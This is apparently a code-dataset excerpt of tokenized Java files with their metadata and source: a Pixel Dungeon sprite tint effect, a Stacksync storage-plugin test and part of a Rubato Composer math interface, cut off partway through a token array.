332,
2402,
884,
465,
964,
924,
1175,
910,
41119,
22674,
299,
332,
3005,
1209,
884,
465,
2532,
5715,
768,
7271,
2588,
2595,
768,
7271,
2588,
64,
465,
6021,
768,
7271,
45,
848,
303,
320,
310,
477,
45,
909,
5715,
768,
7271,
2588,
1052,
303,
339,
465,
2532,
6021,
768,
7271,
45,
1175,
5715,
768,
7271,
2588,
2595,
768,
7271,
2588,
848,
303,
320,
310,
477,
51,
2307,
768,
7271,
2588,
299,
2595,
768,
7271,
2588,
64,
303,
339,
465,
496,
1806,
303,
581,
782,
391,
768,
45,
1175,
6021,
1957,
49,
1175,
6484,
903,
2952,
848,
303,
320,
310,
434,
327,
1957,
51,
316,
5763,
365,
848,
310,
320,
343,
12747,
5763,
45,
1957,
49,
2952,
1110,
310,
339,
310,
832,
310,
320,
343,
12747,
1983,
45,
1957,
49,
2952,
1110,
310,
339,
303,
339,
465,
2532,
782,
12747,
5763,
45,
1175,
6021,
1957,
49,
1175,
6484,
903,
2952,
848,
303,
320,
310,
1175,
5715,
10299,
299,
1957,
51,
390,
5763,
492,
310,
2595,
768,
7271,
2588,
51,
11574,
7271,
45,
10299,
51,
10276,
365,
6824,
471,
768,
45,
10299,
49,
2952,
1110,
303,
339,
465,
2532,
782,
12747,
1983,
45,
1175,
6021,
1957,
49,
1175,
6484,
903,
2952,
848,
303,
320,
310,
1175,
6484,
903,
641,
903,
299,
2952,
51,
688,
903,
45,
45122,
88,
1110,
603,
641,
903,
51,
24341,
45,
11405,
49,
20925,
1110,
310,
641,
903,
51,
24341,
45,
13407,
49,
5715,
1233,
51,
1740,
27370,
1110,
603,
1175,
6484,
903,
7472,
2246,
903,
299,
641,
903,
51,
688,
903,
45,
20925,
1110,
603,
434,
327,
1957,
51,
2057,
4336,
365,
848,
310,
320,
343,
7472,
2246,
903,
51,
688,
671,
45,
22163,
37917,
49,
1957,
51,
390,
4336,
941,
3127,
365,
1110,
310,
339,
603,
434,
327,
1957,
51,
2057,
3455,
365,
848,
310,
320,
343,
7472,
2246,
903,
51,
688,
3580,
45,
48893,
49,
556,
9495,
45,
4021,
625,
51,
1097,
45,
1957,
51,
390,
3455,
941,
16618,
625,
365,
848,
848,
1110,
310,
339,
603,
434,
327,
1957,
51,
2057,
22585,
365,
848,
310,
320,
343,
1035,
22585,
45,
1957,
49,
2952,
1110,
310,
339,
603,
7472,
2246,
903,
51,
688,
4718,
45,
41119,
22674,
49,
1957,
51,
316,
3414,
1209,
365,
1110,
603,
434,
327,
1957,
51,
2057,
1081,
365,
848,
310,
320,
343,
1175,
910,
1957,
577,
299,
38726,
724,
1081,
18403,
45,
1957,
51,
390,
4336,
941,
5175,
365,
1110,
343,
1175,
910,
1142,
971,
15021,
299,
38726,
724,
1081,
18403,
45,
1957,
51,
390,
4336,
941,
38002,
971,
941,
3127,
365,
1110,
343,
1175,
6484,
903,
1377,
903,
299,
7472,
2246,
903,
51,
688,
903,
45,
12263,
6824,
688,
903,
45,
1142,
971,
15021,
1110,
343,
1377,
903,
51,
688,
903,
45,
1957,
577,
49,
1957,
51,
21431,
941,
29847,
941,
3014,
45,
641,
903,
51,
390,
3371,
365,
848,
1110,
310,
339,
303,
339,
465,
964,
782,
1035,
22585,
45,
1175,
6021,
1957,
49,
1175,
6484,
903,
641,
903,
848,
303,
320,
310,
434,
327,
673,
1655,
51,
390,
22585,
941,
6401,
365,
848,
310,
320,
343,
456,
327,
17860,
6727,
518,
1957,
51,
390,
22585,
365,
848,
343,
320,
419,
2595,
768,
7271,
2588,
51,
390,
6071,
768,
7271,
941,
471,
768,
45,
6727,
49,
641,
903,
1110,
343,
339,
310,
339,
303,
339,
465,
581,
6021,
664,
768,
45,
1175,
6484,
903,
641,
903,
848,
303,
320,
310,
1175,
1701,
65,
1667,
903,
67,
6361,
1482,
768,
299,
641,
903,
51,
40090,
45,
45122,
88,
848,
343,
657,
2255,
365,
343,
657,
2049,
45,
6484,
422,
2057,
4936,
899,
848,
343,
657,
1130,
45,
6484,
422,
390,
903,
848,
343,
657,
6190,
45,
19808,
1758,
51,
15341,
365,
1110,
603,
434,
327,
6361,
1482,
768,
51,
6401,
365,
848,
310,
320,
343,
461,
762,
64,
310,
339,
603,
434,
327,
673,
316,
4069,
1735,
45,
6361,
1482,
768,
51,
390,
45,
244,
53,
848,
848,
848,
310,
320,
343,
6361,
1482,
768,
51,
3349,
45,
34839,
51,
998,
7016,
45,
477,
422,
23441,
1233,
848,
1110,
310,
339,
603,
461,
664,
768,
45,
6361,
1482,
768,
1110,
303,
339,
465,
964,
1922,
458,
4069,
1735,
45,
1175,
6484,
903,
2595,
768,
848,
303,
320,
310,
461,
640,
1735,
1233,
45,
2595,
768,
6824,
3591,
45,
5715,
1233,
51,
1740,
27370,
1110,
303,
339,
465,
964,
910,
640,
1735,
1233,
45,
1175,
6484,
903,
2595,
768,
848,
303,
320,
310,
461,
2595,
768,
51,
7080,
45,
13407,
1110,
303,
339,
465,
2532,
6021,
664,
768,
45,
1175,
1701,
65,
1667,
903,
67,
6361,
1482,
768,
848,
303,
320,
310,
1175,
6484,
903,
1957,
768,
299,
6361,
1482,
768,
51,
390,
45,
244,
53,
1110,
310,
6361,
1482,
768,
51,
2564,
45,
244,
53,
1110,
603,
461,
664,
768,
45,
1957,
768,
49,
6361,
1482,
768,
1110,
303,
339,
465,
2532,
6021,
664,
768,
45,
1175,
6484,
903,
1957,
768,
49,
1175,
1701,
65,
1667,
903,
67,
6361,
1482,
768,
848,
303,
320,
310,
1175,
1922,
458,
5763,
299,
673,
1655,
768,
51,
7080,
45,
11405,
6824,
3591,
45,
20925,
1110,
603,
434,
327,
458,
5763,
848,
310,
320,
343,
461,
664,
5763,
768,
45,
1957,
768,
49,
6361,
1482,
768,
1110,
310,
339,
603,
461,
664,
1983,
768,
45,
1957,
768,
49,
6361,
1482,
768,
1110,
303,
339,
465,
2532,
6021,
664,
5763,
768,
45,
1175,
6484,
903,
10299,
768,
49,
1175,
1701,
65,
1667,
903,
67,
6361,
1482,
768,
848,
303,
320,
310,
1175,
6021,
51,
1812,
1957,
299,
6021,
51,
1315,
492,
603,
1957,
51,
9883,
45,
2595,
768,
7271,
2588,
51,
390,
6071,
768,
7271,
941,
23441,
45,
10299,
768,
49,
6361,
1482,
768,
848,
1110,
603,
461,
1957,
51,
1848,
492,
303,
339,
465,
2532,
6021,
664,
1983,
768,
45,
1175,
6484,
903,
1957,
768,
49,
1175,
1701,
65,
1667,
903,
67,
6361,
1482,
768,
848,
303,
320,
310,
1175,
6021,
51,
1812,
1957,
299,
6021,
51,
1315,
492,
603,
1175,
6484,
903,
7472,
2246,
903,
299,
1957,
768,
51,
390,
903,
45,
20925,
1110,
603,
434,
327,
7472,
2246,
903,
882,
762,
848,
310,
320,
343,
434,
327,
7472,
2246,
903,
51,
38661,
45,
22163,
37917,
848,
848,
343,
320,
419,
1175,
16768,
971,
9869,
971,
299,
16768,
971,
51,
1097,
45,
7472,
2246,
903,
51,
7080,
45,
22163,
37917,
848,
1110,
419,
1957,
51,
9662,
45,
9869,
971,
1110,
419,
1957,
51,
1180,
45,
38441,
1811,
768,
45,
7472,
2246,
903,
49,
9869,
971,
848,
1110,
419,
1957,
51,
20966,
45,
640,
1983,
22585,
45,
9869,
971,
49,
6361,
1482,
768,
848,
1110,
343,
339,
1083,
434,
327,
7472,
2246,
903,
51,
38661,
45,
48893,
848,
848,
343,
320,
419,
1957,
51,
2402,
45,
6021,
3455,
971,
51,
1097,
45,
7472,
2246,
903,
51,
35554,
45,
48893,
6824,
3127,
365,
848,
1110,
343,
339,
1083,
434,
327,
7472,
2246,
903,
51,
38661,
45,
41119,
22674,
848,
848,
343,
320,
419,
1957,
51,
3005,
1209,
45,
7472,
2246,
903,
51,
28151,
45,
41119,
22674,
848,
1110,
343,
339,
310,
339,
603,
461,
1957,
51,
1848,
492,
303,
339,
465,
2532,
6021,
22585,
640,
1983,
22585,
45,
1175,
16768,
971,
9869,
971,
49,
1175,
1701,
65,
1667,
903,
67,
6361,
1482,
768,
848,
303,
320,
310,
1175,
17860,
17825,
6727,
17825,
299,
343,
2595,
768,
7271,
2588,
51,
390,
6071,
768,
7271,
941,
390,
6071,
17825,
1094,
2671,
45,
244,
54,
49,
6361,
1482,
768,
1110,
603,
1175,
6021,
22585,
51,
1812,
1957,
22585,
1812,
299,
6021,
22585,
51,
1315,
492,
603,
6727,
17825,
51,
5388,
45,
6727,
4336,
984,
320,
343,
1957,
22585,
1812,
51,
688,
45,
2595,
768,
7271,
2588,
51,
390,
6071,
768,
7271,
365,
2493,
657,
1097,
768,
45,
6727,
4336,
49,
5715,
1233,
51,
1740,
27370,
49,
6361,
1482,
768,
848,
1110,
310,
339,
1110,
603,
461,
1957,
22585,
1812,
51,
1848,
492,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,740
| true
| 67.45417
| true
| true
|
EnragedFX.java
|
/FileExtraction/Java_unseen/ConsideredHamster_YetAnotherPixelDungeon/app/src/main/java/com/consideredhamster/yetanotherpixeldungeon/visuals/effects/EnragedFX.java
|
/*
* Pixel Dungeon
* Copyright (C) 2012-2015 Oleg Dolya
*
* Yet Another Pixel Dungeon
* Copyright (C) 2015-2016 Considered Hamster
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>
*/
package com.consideredhamster.yetanotherpixeldungeon.visuals.effects;
import com.watabou.noosa.Game;
import com.watabou.noosa.Gizmo;
import com.consideredhamster.yetanotherpixeldungeon.visuals.sprites.CharSprite;
public class EnragedFX extends Gizmo {
private float phase;
private CharSprite target;
public EnragedFX(CharSprite target) {
super();
this.target = target;
phase = 0;
}
@Override
public void update() {
super.update();
if ( ( phase += Game.elapsed ) < 1.0f ) {
target.tint( 1.0f, 0.0f, 0.0f, phase * 0.2f );
} else {
target.tint( 1.0f, 0.0f, 0.0f, ( 2.0f - phase ) * 0.2f );
}
if( phase > 2.0f )
phase -= 2.0f;
}
public void calm() {
target.resetColorAlpha();
killAndErase();
}
public static EnragedFX fury( CharSprite sprite ) {
EnragedFX frenzy = new EnragedFX( sprite );
sprite.parent.add( frenzy );
return frenzy;
}
}
| 1,704
|
Java
|
.java
|
ConsideredHamster/YetAnotherPixelDungeon
| 95
| 30
| 3
|
2016-11-16T17:21:50Z
|
2024-05-05T11:03:16Z
|
a838e91e782ef64076e673bb36470b8e2ba7ef2f2c3179d09cb3980b73d24de8
|
[
1127,
222,
338,
20244,
493,
28253,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
54,
55,
50,
55,
53,
54,
58,
565,
2358,
493,
4628,
102,
222,
338,
222,
338,
1432,
383,
25359,
20244,
493,
28253,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
54,
58,
50,
55,
53,
54,
59,
23587,
337,
696,
424,
6449,
222,
338,
222,
338,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
222,
338,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
2056,
222,
588,
222,
1337,
785,
51,
33696,
337,
11809,
6449,
51,
32391,
23250,
7807,
105,
28253,
51,
9005,
120,
51,
16413,
64,
222,
222,
485,
785,
51,
124,
1626,
663,
51,
1365,
22201,
51,
3783,
64,
222,
485,
785,
51,
124,
1626,
663,
51,
1365,
22201,
51,
76,
47485,
64,
222,
485,
785,
51,
33696,
337,
11809,
6449,
51,
32391,
23250,
7807,
105,
28253,
51,
9005,
120,
51,
34666,
51,
2674,
10792,
64,
222,
222,
942,
462,
2445,
119,
4854,
8695,
2041,
590,
47485,
320,
499,
221,
2072,
1916,
11311,
64,
499,
221,
2072,
7698,
10792,
1780,
64,
499,
221,
942,
2445,
119,
4854,
8695,
45,
2674,
10792,
1780,
46,
320,
376,
221,
5282,
492,
1332,
221,
597,
51,
2000,
299,
1780,
64,
376,
221,
12055,
299,
244,
53,
64,
222,
221,
130,
3038,
221,
69,
1806,
222,
221,
942,
782,
1991,
365,
320,
376,
221,
5282,
51,
1896,
492,
1332,
221,
344,
327,
327,
11311,
1475,
6067,
51,
18155,
848,
350,
244,
54,
51,
53,
107,
848,
320,
374,
221,
2000,
51,
44505,
45,
244,
54,
51,
53,
107,
49,
244,
53,
51,
53,
107,
49,
244,
53,
51,
53,
107,
49,
11311,
338,
244,
53,
51,
55,
107,
1110,
376,
221,
130,
832,
320,
374,
221,
2000,
51,
44505,
45,
244,
54,
51,
53,
107,
49,
244,
53,
51,
53,
107,
49,
244,
53,
51,
53,
107,
49,
327,
244,
55,
51,
53,
107,
449,
11311,
848,
338,
244,
53,
51,
55,
107,
1110,
376,
221,
130,
603,
434,
45,
11311,
868,
244,
55,
51,
53,
107,
848,
343,
11311,
5928,
244,
55,
51,
53,
107,
64,
222,
221,
130,
499,
221,
942,
782,
2203,
114,
365,
320,
1332,
221,
2000,
51,
4558,
1530,
10989,
492,
376,
221,
14043,
2199,
44213,
492,
499,
221,
130,
3038,
221,
942,
924,
2445,
119,
4854,
8695,
315,
14351,
45,
7698,
10792,
15537,
848,
320,
4102,
221,
795,
119,
4854,
8695,
315,
1594,
6657,
299,
556,
2445,
119,
4854,
8695,
45,
15537,
1110,
376,
221,
13999,
51,
2562,
51,
688,
45,
315,
1594,
6657,
1110,
4102,
221,
620,
315,
1594,
6657,
64,
222,
221,
130,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 566
| true
| 67.194836
| true
| true
|
TestPlugin.java
|
/FileExtraction/Java_unseen/stacksync_desktop/test/com/stacksync/desktop/test/TestPlugin.java
|
/*
* Syncany, www.syncany.org
* Copyright (C) 2011 Philipp C. Heckel <[email protected]>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package com.stacksync.desktop.test;
import java.io.File;
import java.util.Map;
import com.stacksync.desktop.config.Config;
import com.stacksync.desktop.connection.plugins.PluginInfo;
import com.stacksync.desktop.connection.plugins.Plugins;
import com.stacksync.desktop.connection.plugins.TransferManager;
import com.stacksync.desktop.connection.plugins.swift.SwiftConnection;
import com.stacksync.desktop.exceptions.ConfigException;
import com.stacksync.desktop.exceptions.LocalFileNotFoundException;
import com.stacksync.desktop.exceptions.StorageConnectException;
import com.stacksync.desktop.exceptions.StorageException;
import com.stacksync.desktop.repository.files.RemoteFile;
/**
*
* @author Philipp C. Heckel <[email protected]>
*/
public class TestPlugin {
public static void main(String[] args) throws StorageConnectException, LocalFileNotFoundException, StorageException, ConfigException {
Config.getInstance().load();
PluginInfo plugin = Plugins.get("box");
SwiftConnection c = (SwiftConnection) plugin.createConnection();
c.setApiKey("...");
TransferManager tm = c.createTransferManager();
tm.connect();
//tm.upload(new File("/etc/hosts"), new RemoteFile("hosts"));
tm.download(new RemoteFile("hosts"), new File("/home/pheckel/hosts"));
tm.delete(new RemoteFile("hosts"));
Map<String, RemoteFile> list = tm.list();
for (RemoteFile f : list.values()) {
System.out.println(f);
}
}
}
| 2,320
|
Java
|
.java
|
stacksync/desktop
| 35
| 16
| 8
|
2013-11-07T15:08:24Z
|
2017-05-29T07:55:58Z
|
bf17b63b53fae381356b7b8b5144c1555c0a5c3cd61acdf176158bc0824be270
|
[
1127,
222,
338,
14345,
1831,
49,
19955,
51,
5220,
1831,
51,
1107,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
54,
54,
35769,
4426,
409,
51,
4401,
473,
361,
350,
31519,
4426,
51,
823,
361,
69,
7265,
51,
527,
67,
1676,
338,
222,
338,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
222,
338,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
588,
222,
1337,
785,
51,
3056,
5220,
51,
10956,
51,
881,
64,
222,
222,
485,
1401,
51,
735,
51,
991,
64,
222,
485,
1401,
51,
1058,
51,
1225,
64,
222,
485,
785,
51,
3056,
5220,
51,
10956,
51,
1180,
51,
1081,
64,
222,
485,
785,
51,
3056,
5220,
51,
10956,
51,
3854,
51,
5573,
51,
4168,
1139,
64,
222,
485,
785,
51,
3056,
5220,
51,
10956,
51,
3854,
51,
5573,
51,
15459,
64,
222,
485,
785,
51,
3056,
5220,
51,
10956,
51,
3854,
51,
5573,
51,
8580,
1590,
64,
222,
485,
785,
51,
3056,
5220,
51,
10956,
51,
3854,
51,
5573,
51,
14037,
51,
25249,
2815,
64,
222,
485,
785,
51,
3056,
5220,
51,
10956,
51,
11453,
51,
1081,
1002,
64,
222,
485,
785,
51,
3056,
5220,
51,
10956,
51,
11453,
51,
3340,
27322,
64,
222,
485,
785,
51,
3056,
5220,
51,
10956,
51,
11453,
51,
3581,
6767,
1002,
64,
222,
485,
785,
51,
3056,
5220,
51,
10956,
51,
11453,
51,
3581,
1002,
64,
222,
485,
785,
51,
3056,
5220,
51,
10956,
51,
6335,
51,
2558,
51,
7318,
991,
64,
222,
222,
1350,
222,
338,
222,
338,
496,
2133,
35769,
4426,
409,
51,
4401,
473,
361,
350,
31519,
4426,
51,
823,
361,
69,
7265,
51,
527,
67,
222,
588,
222,
942,
462,
2128,
4168,
320,
303,
581,
924,
782,
2594,
45,
671,
1197,
2194,
46,
2589,
9830,
6767,
1002,
49,
7099,
27322,
49,
9830,
1002,
49,
3395,
1002,
320,
310,
3395,
51,
7432,
941,
963,
492,
2776,
11029,
1139,
3985,
299,
34389,
51,
390,
459,
1521,
742,
310,
21885,
2815,
300,
299,
327,
25249,
2815,
46,
3985,
51,
1315,
2815,
492,
2776,
300,
51,
489,
23972,
459,
19874,
2776,
17873,
1590,
13844,
299,
300,
51,
1315,
8580,
1590,
492,
2776,
13844,
51,
3532,
492,
310,
453,
6565,
51,
4480,
45,
909,
2050,
4229,
6711,
52,
15917,
2132,
556,
13598,
991,
459,
15917,
2992,
310,
13844,
51,
5000,
45,
909,
13598,
991,
459,
15917,
2132,
556,
2050,
4229,
2849,
52,
117,
823,
361,
52,
15917,
2992,
310,
13844,
51,
2577,
45,
909,
13598,
991,
459,
15917,
2992,
310,
3531,
65,
671,
49,
13598,
991,
67,
1168,
299,
13844,
51,
687,
492,
2776,
456,
327,
7318,
991,
315,
518,
1168,
51,
2857,
1177,
320,
343,
1189,
51,
560,
51,
3962,
45,
107,
312,
603,
339,
465,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 582
| true
| 71.853448
| true
| true
|
ZFreeModule.java
|
/FileExtraction/Java_unseen/rubato-composer_rubato-composer/java/src/org/rubato/math/module/ZFreeModule.java
|
/*
* Copyright (C) 2001, 2005 Gérard Milmeister
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of version 2 of the GNU General Public
* License as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public
* License along with this program; if not, write to the
* Free Software Foundation, Inc., 59 Temple Place - Suite 330,
* Boston, MA 02111-1307, USA.
*
*/
package org.rubato.math.module;
import java.util.List;
/**
* The interface for free modules over integers.
* @see org.rubato.math.module.ZFreeElement
*
* @author Gérard Milmeister
*/
public interface ZFreeModule extends FreeModule {
public ZFreeElement createElement(List<ModuleElement> elements);
public ZFreeElement getZero();
public ZFreeElement getUnitElement(int i);
}
| 1,117
|
Java
|
.java
|
rubato-composer/rubato-composer
| 11
| 3
| 3
|
2018-11-19T14:06:20Z
|
2022-07-19T13:34:29Z
|
0f98455eb64ecb2988c5c4ca1d82c7991734d5fa809202bd8d731593e8a6bb6f
|
[
1127,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
53,
54,
49,
244,
55,
53,
53,
58,
590,
14974,
723,
49127,
308,
19238,
222,
338,
222,
338,
1369,
3477,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
222,
338,
5370,
580,
1549,
341,
5974,
451,
1522,
244,
55,
451,
341,
6994,
6153,
5062,
222,
338,
1196,
641,
9582,
829,
341,
7834,
3870,
7120,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
6994,
222,
338,
6153,
